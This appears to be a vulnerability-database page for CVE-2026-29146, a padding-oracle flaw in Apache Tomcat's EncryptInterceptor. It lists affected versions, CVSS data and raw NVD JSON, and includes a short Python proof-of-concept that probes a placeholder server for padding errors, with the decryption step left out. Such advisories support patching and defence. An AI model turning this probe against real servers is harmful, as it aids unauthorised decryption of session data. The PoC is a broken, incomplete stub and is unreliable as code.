Security Vulnerability Report
中文
CVE-2026-29146 CVSS 7.5 HIGH

CVE-2026-29146

Published: 2026-04-09 20:16:25
Last Modified: 2026-04-14 12:56:21

Description

Padding Oracle vulnerability in Apache Tomcat's EncryptInterceptor with default configuration. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.0.0-M1 through 10.1.52, from 9.0.13 through 9..115, from 8.5.38 through 8.5.100, from 7.0.100 through 7.0.109. Users are recommended to upgrade to version 11.0.19, 10.1.53 and 9.0.116, which fixes the issue.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* - VULNERABLE
Apache Tomcat 11.0.0-M1 至 11.0.18
Apache Tomcat 10.0.0-M1 至 10.1.52
Apache Tomcat 9.0.13 至 9.0.115
Apache Tomcat 8.5.38 至 8.5.100
Apache Tomcat 7.0.100 至 7.0.109

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import binascii # Proof of Concept Concept for Padding Oracle # This script demonstrates how to detect a padding oracle vulnerability. TARGET_URL = "http://target-tomcat:8080/encrypted-endpoint" ENCRYPTED_COOKIE = "..." # Replace with actual encrypted cookie/header def check_oracle(ciphertext): headers = {'Cookie': f'JSESSIONID={ciphertext}'} try: response = requests.get(TARGET_URL, headers=headers, timeout=5) # Analyze response: Different status codes or response times indicate an oracle if response.status_code == 500 and "padding" in response.text.lower(): return True # Padding error detected elif response.status_code == 200: return False # Valid padding (or handled error) except Exception as e: print(f"Error: {e}") return None # In a real attack, an attacker would modify the ciphertext byte by byte # and use the check_oracle function to deduce the plaintext. print("Starting Padding Oracle detection...") # Example logic to flip bytes (simplified) block = binascii.unhexlify(ENCRYPTED_COOKIE) print(f"Testing block: {block}") # ... full decryption logic would go here ... print("PoC execution completed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29146", "sourceIdentifier": "[email protected]", "published": "2026-04-09T20:16:24.577", "lastModified": "2026-04-14T12:56:21.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Padding Oracle vulnerability in Apache Tomcat's EncryptInterceptor with default configuration.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.0.0-M1 through 10.1.52, from 9.0.13 through 9..115, from 8.5.38 through 8.5.100, from 7.0.100 through 7.0.109.\n\nUsers are recommended to upgrade to version 11.0.19, 10.1.53 and 9.0.116, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-209"}, {"lang": "en", "value": "CWE-642"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.100", "versionEndIncluding": "7.0.109", "matchCriteriaId": "21FCAD61-9B9D-4780-9EE2-2F28B3F951F5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.5.38", "versionEndIncluding": "8.5.100", "matchCriteriaId": "769FDDAB-B636-43A6-BB06-CCE9185D5EA6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.13", "versionEndExcluding": "9.0.116", "matchCriteriaId": "6CEA1F89-5276-42AF-819C-AF901A037E22"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.1.53", "matchCriteriaId": "2092BF25-09E0-4601-B553-A2506C879028"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.0.20", "matchCriteriaId": "1F39B82B-0E67-459D-8065-2C6EE7970D0D"}]}]}], "references": [{"url": "https://lists.apache.org/thread/lzt04z2pb3dc5tk85obn80xygw3z1p0w", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/09/24", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}